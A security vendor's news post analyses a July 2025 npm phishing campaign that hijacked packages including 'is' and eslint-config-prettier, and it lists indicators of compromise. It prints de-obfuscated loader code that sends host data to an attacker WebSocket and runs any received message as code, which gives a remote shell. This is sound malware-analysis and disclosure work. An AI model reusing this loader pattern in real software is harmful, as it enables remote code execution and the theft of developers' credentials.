Socket
Book a DemoInstallSign in
Socket
Back
Security News

npm ‘is’ Package Hijacked in Expanding Supply Chain Attack

The ongoing npm phishing campaign escalates as attackers hijack the popular 'is' package, embedding malware in multiple versions.

npm ‘is’ Package Hijacked in Expanding Supply Chain Attack

Kirill Boychenko

Sarah Gooding

July 22, 2025

In the wake of the npm phishing campaign we reported on last Friday, which began with a typosquatted domain (npnjs[.]com) targeting developers, the situation has continued to escalate. Notably, This Week in React curator Sébastien Lorber pointed out that spoofed emails from npmjs.org slipped through due to missing DMARC and SPF records on the .org domain.

Shortly after our initial warning, we alerted developers about popular compromised packages like eslint-config-prettier and eslint-plugin-prettier, which were published using stolen maintainer credentials.

With access to the maintainers’ npm tokens, the threat actor published rogue versions of seven packages: eslint-config-prettier (8.10.1, 9.1.1, 10.1.6, 10.1.7), eslint-plugin-prettier (4.2.2, 4.2.3), synckit@0.11.9, @pkgr/core@0.2.8, napi-postinstall@0.3.1, got-fetch (5.1.11, 5.1.12), and is (3.3.1, 5.0.0). These malicious updates were automatically distributed to developers and CI systems through normal dependency resolution workflows.

Over the weekend, the team behind Humpty’s RE Blog dropped a deep dive into the malware hidden in eslint-config-prettier. This is honest reverse engineering work and a solid technical report they managed to publish on Sunday. It covers the malicious eslint-config-prettier release and its associated malware, dubbed Scavenger, and details how the compromised package shipped a Windows-specific DLL (node-gyp.dll) that loads a sophisticated infostealer using anti-analysis techniques, indirect syscalls, and encrypted C2 communications. The post also confirms the malware’s focus on browser data (e.g., Chrome extensions and cached session data) and provides extensive indicators of compromise (IOCs) for defenders.

In addition to their technical breakdown of the malware, we’re now sharing the compromised packages tied to this same campaign that have surfaced since our last update.

The threat actor that planted a Windows‑only DLL in eslint‑config‑prettier, eslint‑plugin‑prettier, synckit@0.11.9, @pkgr/core, napi‑postinstall, and got-fetch also embedded a JavaScript malware loader in the is package during the same attack window. This popular package receives ~2.8M weekly downloads and provides a set of utility functions for type checking and validation.

The malicious is package is fully cross-platform, executing under Node 12+ on macOS, Linux, and Windows. In contrast, Scavenger DLL runs only on Windows, suggesting the campaign is deploying multiple payload families to maximize reach. The is variant drops no DLL; instead, it remains entirely in JavaScript, and maintains a live command and control (C2) channel.

Socket AI Scanner identifies a heavily‑obfuscated JavaScript loader embedded in the is package version 5.0.0.

The loader reconstructs its hidden payload entirely in memory using a custom decoder built around a 94-character alphabet. It immediately executes the decoded script via new Function, leaving no readable artifacts on disk. Once active, it queries Node’s os module to collect the hostname, operating system, and CPU details, and captures all environment variables from process.env. It then dynamically imports the ws library to exfiltrate this data over a WebSocket connection. Every message received over the socket is treated as executable JavaScript, giving the threat actor an instant, interactive remote shell.

The following code excerpts, de-obfuscated and annotated with our comments, demonstrate the malicious logic embedded in the package.

// Expose Node's `require`, even in restricted contexts (e.g., Electron)
get "switch"() { return require; }

// Load system and networking modules dynamically
const os = this["switch"]("os");
const WS = this["switch"]("ws");

// Connect to threat actor-controlled WebSocket endpoint
const sock = new WS("wss://<decoded-at-runtime-endpoint>");

// Send host fingerprinting data on connect
sock.onopen = () => sock.send(JSON.stringify({
  host: os.hostname(),
  plat: os.platform(),
  cwd : process.cwd()
}));

// Execute threat actor-supplied code received over the socket
sock.onmessage = ({ data }) => {
  new Function(data)();  // remote code execution
};

The payload executes with the same privileges as the host process, allowing unrestricted file system and network access. In addition to harvesting environment variables, it exfiltrates sensitive development context, such as .npmrc files and Git remotes. If the process has write access, the malware persists by overwriting its own index.js, meaning removal requires more than deleting node_modules; lockfiles must also be reset to fully eradicate the infection. Socket has confirmed both 3.3.1 and 5.0.0 of the is package as malicious.

Maintainer Reports Malware in the is Package#

Jordan Harband alerted the public that the is package was compromised due to another maintainer’s account being hijacked, likely related to the same phishing campaign.

“The old owner was somehow removed from the npm package, and emailed me to be re-added,” Harband said on Bluesky. “Everything seemed normal, so I obliged (irritated the npm would remove an owner without notifying the other owners) and the next morning this [malware] was published.”

Socket’s automated threat detection also flagged malicious releases of got-fetch, a package with 20K+ weekly downloads, after an npm maintainer’s account was compromised. Both version 5.1.12 and version 5.1.11 were identified as containing suspicious behavior.

Impact of the npm Phishing Attacks#

The Scavenger malware is proving to be especially nasty for anyone who got hit. In a Hacker News thread, one developer shared how they discovered the malware disabled Chrome’s security flags (causing a warning banner in Chrome) and likely performed other malicious actions. To recover, they had to unplug their machine from the network, replace their SSD entirely, reinstall a fresh copy of Windows, and rotate all SSH keys and passwords.

In some cases, simply rolling back package versions isn’t enough if the malware has already exfiltrated credentials or tampered with the system.

Hacker News discussion from affected users confirms impact of the node-gyp.dll malware. One user reported Chrome security flagging, potential SSH key compromise, and full system reinstallation, which is consistent with the malware’s scraping of browser credentials and credential config files like .npmrc and .netrc observed during our analysis.

This isn’t the time to be performing blind updates. Socket protects your code by detecting malicious packages before they’re added to your code base. Install the free Socket GitHub App or secure your projects using our Safe npm CLI tool. These tools scan every dependency and update in real time to protect you from 70+ indicators of supply chain risk.

Indicators of Compromise (IOCs)#

Malicious Packages and Versions

  • eslint‑config‑prettier versions 8.10.1, 9.1.1, 10.1.6, 10.1.7
  • eslint‑plugin‑prettier versions 4.2.2, 4.2.3
  • synckit@0.11.9 version 0.11.9
  • @pkgr/core version 0.2.8
  • napi‑postinstall version 0.3.1
  • got-fetch versions 5.1.11, 5.1.12
  • is versions 3.3.1, 5.0.0

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Install GitHub AppBook a Demo

Related posts

Back to all posts
SocketSocket SOC 2 Logo

Product

About

Packages

Stay in touch

Get open source security insights delivered straight into your inbox.

  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc

U.S. Patent No. 12,346,443 & 12,314,394. Other pending.